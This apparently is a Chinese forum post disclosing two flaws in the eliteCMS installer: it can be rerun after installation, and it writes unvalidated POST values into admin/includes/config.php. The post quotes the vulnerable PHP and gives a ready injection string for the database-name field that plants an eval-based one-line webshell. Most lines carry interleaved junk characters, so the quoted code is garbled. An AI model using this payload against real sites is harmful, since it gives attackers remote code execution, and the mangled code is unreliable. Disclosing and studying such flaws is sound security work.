eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装% A6 d" Q: C) U1 ^
; Q. m T3 y2 q3 u( F* S4 O
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php; K" a/ e4 a+ Q+ p
我们来看代码:
% }& w3 B% P% J
: V5 i( w) s4 H9 @..." Z; n0 M# F# z. V% s. \
elseif ($_GET['step'] == "4") {9 I# P0 \7 z6 X: ~& ~& g, n
$file = "../admin/includes/config.php";
; C8 c9 A( ~9 J3 S" W $write = "<?php\n";
, Q6 Z' r& ~) P8 q+ `' ?" h $write .= "/**\n";6 m" m5 `4 z4 Q9 o
$write .= "*\n";& ^0 j- e+ ^' @
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";- F- K# { R6 H% F
...略.../ u7 F( q8 @2 Q8 Z2 q
$write .= "*\n";
6 q" e2 }: {! \+ P$ P $write .= "*/\n";# M- m8 I7 X( ~
$write .= "\n";: `, y- ]: w+ @8 {+ S; Y
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";9 v' Z, }6 d( q# ~7 r( k) i7 @
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";2 S3 G- Y0 U3 o7 L7 d; @
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
! _$ C5 R( h; ~ $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
, {, S6 B. z9 A ]- U6 R* n $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
* Q7 }+ ^. Y: z. v $write .= "if (!\$connection) {\n";1 m+ H v: `5 ^. {$ r/ J+ \
$write .= " die(\"Database connection failed\" .mysql_error());\n";& K$ C. h! C! B# E
$write .= " \n"; o. M; z1 v( y! D% D& a( Y# A
$write .= "} \n";1 e" e. I" |, l8 T
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
, z- c' r: w' ]# K/ i, ? $write .= "if (!\$db_select) {\n";
! h- M1 U* C5 S $write .= " die(\"Database select failed\" .mysql_error());\n";
0 ^+ f9 B$ X& P2 b7 T $write .= " \n";
/ }! V' x' i, |% P* \+ a+ x: w $write .= "} \n";- O* |# G* S- P$ f6 C3 M; ~; K
$write .= "?>\n";: _* E8 C/ l: G: C
& `, s& f$ V, W5 i7 `3 \ $writer = fopen($file, 'w');* l4 y- B# F9 Y& [% r- Q
... e0 n# _0 x/ d" n- F$ L" |( b2 s; t" l7 r
5 Z( A# C/ u* R* B: g `9 q- w9 h
在看代码:
9 C( C5 U, K+ b n
5 i t2 i) |+ B5 t, P1 e* s+ W$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];! t; l1 l* k& h8 a: A4 H' v* t3 q* D
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];6 A) q, m, h, H" Y$ K8 D5 l
$_SESSION['DB_USER'] = $_POST['DB_USER'];3 T4 O% B+ m7 D" Z7 X
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];2 u% ]. K g5 s. F, U
2 A0 ^( n* _: Z7 Z9 C, o) J取值未作任何验证0 @/ S* y1 r7 v$ c
如果将数据库名POST数据:' ?9 v" N! ^. h$ f+ t* t
1 o" R& P- N, c; l1 O
"?><?php eval($_POST[c]);?><?php4 O8 j2 }4 N6 h$ C1 Y6 e
* T9 b$ ?( U% c; ^' ~* K( D将导致一句话后门写入/admin/includes/config.php
' A+ e5 Z7 i+ E/ ^ |